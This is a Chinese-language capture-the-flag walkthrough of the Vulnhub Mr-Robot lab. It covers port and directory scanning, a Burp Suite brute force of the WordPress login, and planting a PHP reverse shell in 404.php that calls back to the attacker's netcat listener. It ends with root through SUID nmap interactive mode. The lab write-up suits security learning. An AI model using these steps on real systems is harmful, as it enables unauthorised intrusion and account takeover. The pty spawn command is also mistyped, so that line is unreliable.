Vulnhub簡介
Vulnhub是一個提供各種漏洞環境的靶場平臺,供安全愛好者學習滲透使用,大部分環境是做好的虛擬機鏡像檔案,鏡像預先設計了多種漏洞,需要使用VMware或者VirtualBox運行,每個鏡像會有破解的目標,大多是Boot2root,從啟動虛機到獲取作業系統的root權限和查看flag,網址:https://www.vulnhub.com,
靶場說明
Mr-Robot是一個難度為中等的Boot2root/CTF挑戰,由@sho_luv (Twitter)制作,
描述:
難度等級:中等
作業系統型別:Linux
用戶::root, robot, daemon
flag目錄:在用戶家目錄中
實驗目的
獲取三個flag.
實驗環境
靶機:Mr-Robot IP:192.168.1.28
攻擊機:Kali Linux IP:192.168.1.26

實驗步驟一
準備階段
①打開靶機(Mr-Robot),

②打開攻擊機(Kali Linux)并確認攻擊機ip,
使用命令ifconfig查看攻擊機ip為192.168.1.26
實驗步驟二
主機發現
①輸入命令netdiscover嘗試發現靶機ip為192.168.1.28,
②輸入命令nmap -sS -p- 192.168.1.28命令掃描靶機開放埠及服務,
如圖所示分析可知,靶機關閉了ssh服務,但是開放了80埠和443埠對應的http和https服務,于是猜測可以訪問對應ip的網站進行滲透測驗,
實驗步驟三
前期準備
①訪問對應ip地址的web服務并依次嘗試其中提供的命令,
輸入prepare命令發現是一個視頻,
輸入fsociety命令發現依然是一個視頻,
輸入inform命令發現是一些圖片和文字,
輸入question命令發現是一些圖片,
輸入wakeup命令發現是視頻,
輸入join命令,彈出提示輸入郵箱地址,
②輸入命令nikto -h 192.168.1.28對目標ip進行探測,


發現了登錄界面/wp-login/可以利用,
③輸入命令dirb http://192.168.1.28掃描目標ip存在的目錄,



發現了可能會有用的目錄:/readme、/robots.txt、/wp-login等,
④依次訪問對應的目錄,尋找有用的資訊,發現第1個flag、得到爆破用的字典以及發現登錄界面等,
l 訪問readme目錄

l 訪問robots.txt目錄

如圖所示,發現了第一個flag以及一個字典檔案,訪問key-1-of-3.txt目錄獲得第一個flag,
訪問fsocity.dic目錄獲得字典檔案,內容如下:
⑤發現得到的字典檔案很大,猜測有重復字符,
于是使用命令sort fsocity.dic | uniq > dic.txt將字典檔案去重復化并保存為dic.txt檔案,去重復化后的字典大小僅有96.7kb,
l 訪問wp-login目錄,發現WordPress登錄界面,

實驗步驟四
進一步探索
①使用Burp Suite,利用剛剛得到的字典,分別對網站登錄的用戶名和密碼進行爆破,
l 開啟Firefox瀏覽器代理127.0.0.1,埠為8080
l Burp Suitte捕包后,首先進行repeater測驗,看是否可以進行爆破,
l 經多次repeater對比后發現網站回應僅有時間不同,說明可以對進行爆破,
首先使用剛剛去重復化的字典對用戶名欄位進行爆破,
將得到的回應結果按長度進行排序,得到用戶名可能為elliot、Elliot、ELLIOT,

l 用同樣的方法、同樣的字典對密碼欄位進行爆破,結果如下圖:
按長度排序后發現密碼可能為ER28-0652,
②使用用戶名和密碼登錄后嘗試利用php的反彈shell獲取權限,修改php-reverse-shell.php檔案中的ip地址和埠,并將修改后的代碼替換掉WordPress中editor頁面的404.php檔案,
l 使用用戶名:elliot,密碼:ER28-0652登陸,
l 輸入命令:find / -name php-reverse-shell.php嘗試尋找可以利用的php反彈shell檔案,

將查找到的php-reverse-shell.php檔案,修改其中的ip地址為攻擊機ip:192.168.1.26,保持埠為默認8888不變,并將修改后的代碼替換掉WordPress中editor頁面的404.php檔案,

點擊Upadte File上傳檔案,
提示上傳成功,
③在Kali上使用nc監聽相應的埠,并在瀏覽器中訪問修改過的404.php,得到權限,
l 輸入命令nc -lvvp 8888監聽8888埠
l 在瀏覽器中訪問修改過的404.php,得到權限,
④得到權限后,使用cat /etc/passwd查看靶機中的用戶,發現有robot這個用戶,進入這個用戶的目錄,
⑤嘗試查看robot用戶下flag的檔案,但是發現沒有權限并且是robot的檔案,于是查看password.raw-md5檔案,并按照提示進行md5解密,得到robot用戶的密碼,
l 使用ls命令查看當前用戶下的所有檔案,發現有第二個flag與另一個與密碼相關的檔案,嘗試訪問key-2-of-3.txt發現權限不足,于是查看password.raw-md5檔案,

l 使用ls -lar命令發現這兩個檔案都是robot用戶下的檔案,說明要想獲得第二個flag需要切換到robot用戶,

l 將之前得到的md5加密后的密碼使用在線解密工具進行解密,得到密碼為a-z的字母表,
⑥使用python -c 'import pty'pty.spawn("/bin/bash")'命令打開終端,使用密碼登陸到robot用戶并獲取第2個flag,

最后的探索
①利用可執行檔案SUID進行Linux提權,使用命令:find / -user root -perm -4000 -print 2>/dev/null 尋找可以利用的命令,發現了nmap命令,
②查詢資料發現早期版本的Nmap(2.02到5.21)有互動模式,允許用戶執行shell命令,于是使用命令nmap -v查看nmap的版本為3.81符合要求,
③使用命令:nmap --interactive,進入互動模式,接著使用命令:!sh成功提權為root用戶,

④切換到root目錄下,拿到最后的flag,


轉載請註明出處,本文鏈接:https://www.uj5u.com/caozuo/47091.html
標籤:Linux
上一篇:ubuntu18.04安裝nodejs最新版、指定版 12.x 14.x
下一篇:出現kernel panic not syncing :fatal exception錯誤后通過禁用selinux啟動系統
